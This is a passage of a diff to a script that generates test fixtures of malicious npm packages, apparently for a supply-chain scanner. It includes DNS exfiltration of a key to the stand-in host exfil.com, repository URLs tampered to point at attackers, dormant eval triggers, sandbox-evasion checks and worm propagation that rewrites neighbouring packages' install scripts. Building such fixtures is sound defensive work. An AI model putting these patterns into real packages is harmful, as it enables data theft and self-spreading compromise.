{ name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
|
|
10
|
+
{ name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
|
|
11
|
+
{ name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
|
|
12
|
+
{ name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
|
|
13
|
+
{ name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
|
|
14
|
+
{ name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
|
|
15
|
+
{ name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
16
|
+
{ name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
|
|
17
|
+
{ name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
|
|
18
|
+
{ name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
|
|
19
|
+
{ name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
|
|
20
|
+
{ name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
|
|
21
|
+
];
|
|
22
|
+
|
|
23
|
+
for (const mal of MALS) {
|
|
24
|
+
const dir = join(BASE, mal.name);
|
|
25
|
+
rmSync(dir, { recursive: true, force: true });
|
|
26
|
+
mkdirSync(dir, { recursive: true });
|
|
27
|
+
writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
|
|
28
|
+
if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
|
|
29
|
+
execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
|
|
30
|
+
console.log(`OK ${mal.name}`);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
console.log('All mal corpus entries generated.');
|
|
34
|
+
console.log('Total:', MALS.length);
|
|
35
35
|
console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
|